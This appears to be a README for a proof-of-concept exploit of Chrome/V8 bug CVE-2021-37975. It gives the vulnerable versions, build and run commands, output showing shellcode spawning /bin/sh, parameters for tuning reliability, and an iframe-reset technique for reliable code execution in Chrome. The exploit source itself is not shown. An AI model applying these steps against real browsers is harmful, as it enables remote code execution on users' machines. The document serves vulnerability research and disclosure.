Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

Chrome in-the-wild bug CVE-2021-37975

The analysis of this bug can be found here. This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild.

The exploit poc.js is tested on v8 version 9.4.146.16 (commit 452f57b), which is the version shipped with Chrome 94.0.4606.61, the one before the bug was fixed, on Ubuntu 20.04. It is tested on two different desktop devices with different specs.

To test, check out v8 at commit 452f57b and compile with the default settings using tools/dev/gm.py x64.release. Then open the file poc.js with d8:

./d8 poc.js

On Ubuntu 20.04, it should call execve("/bin/sh") to spawn a new process:

./d8 poc.js
fail to find object address.
fail to find object address.
fail to find object address.
fetch failed
fail to find object address.
fail to find object address.
fetch failed
fail to find object address.
fail to find object address.
fail to find object address.
fail to find object address.
fail to find object address.
fail to find object address.
fail to find object address.
fail to find object address.
fail to find object address.
fail to find object address.
found instance address: 0x81d40f5 at index: 0
array address: 0x804294d
array element address: 0x8042935
fake array at: 8 index: 0
rwx address at: 0x28c7931bc000
fake array at: 8 index: 1
rwx address at: 0x28c7931bc000
shellArray addr: 0x8048d75
$ 

Shell code and some offsets may need changing on other platforms.

The exploit is fairly reliable, (> 80% success rate on the two tested devices). The variable gcSize may need changing depending on the device, and the variable mapAddr also depends on the version of v8 (it is an offset). Changing the variable sprayParam may also improve the reliability. The current parameter seems to give reasonable reliability across the two devices tested. The gcSize parameter should be ok for desktop devices, but may need changing for devices with low memory (e.g. mobile)

The Chrome poc are the files chrome_poc_parent.html and chrome_poc_child.html. It is tested with Linux build 94.0.4606.61 (commit c3f0a75) on Ubuntu 20.04, with the following parameters:

is_debug = false
symbol_level = 2
blink_symbol_level = 2
dcheck_always_on = false
is_official_build = true
chrome_pgo_phase = 0

To build this, I have to comment out part of a script chrome/browser/resources/tools/optimize_webui.py to fix the build:

@@ -178,16 +178,16 @@ def _bundle_v3(tmp_out_dir, in_path, out_path, manifest_out_path, args,
                                             manifest_out_path)
   assert len(generated_paths) == len(bundled_paths), \
          'unexpected number of bundles - %s - generated by rollup' % \
          (len(generated_paths))
 
-  for bundled_file in bundled_paths:
-    with open(bundled_file, 'r') as f:
-      output = f.read()
-      assert "<if expr" not in output, \
-          'Unexpected <if expr> found in bundled output. Check that all ' + \
-          'input files using such expressions are preprocessed.'
+#  for bundled_file in bundled_paths:
+#    with open(bundled_file, 'r') as f:
+#      output = f.read()
+#      assert "<if expr" not in output, \
+#          'Unexpected <if expr> found in bundled output. Check that all ' + \
+#          'input files using such expressions are preprocessed.'
 
   return bundled_paths
 
 def _optimize(in_folder, args):
   in_path = os.path.normpath(os.path.join(_CWD, in_folder)).replace('\\', '/')

This part seems to be doing some sanity checks of some generated config files related to webui, so I don't expect it to affect the exploit.

The Chrome exploit should be 100% reliable by using different origin iframe to avoid crashing the parent frame. (Idea similar to the one in "Making a Stealth Exploit by abusing Chrome's Site Isolation" in this article of Ki Chan Ahn, but on a smaller scale) The parent frame will reset the child frame every 5 seconds and change its origin to make sure it starts fresh, during which it'll print out resetChild on the page. It should not take too many attempts to succeed and will pop xcalc on Ubuntu. To test it, host these pages at 127.0.0.1, 127.0.0.2 and 127.0.0.3:

python3 -m http.server --bind 127.0.0.1
python3 -m http.server --bind 127.0.0.2
python3 -m http.server --bind 127.0.0.3

Then launch Chrome built with the above instructions with the --no-sandbox flag:

./chrome --user-data-dir=/tmp/chromium_data --no-sandbox

Then open localhost:8000/chrome_poc_parent.html and wait. It should pop xcalc within a few trials.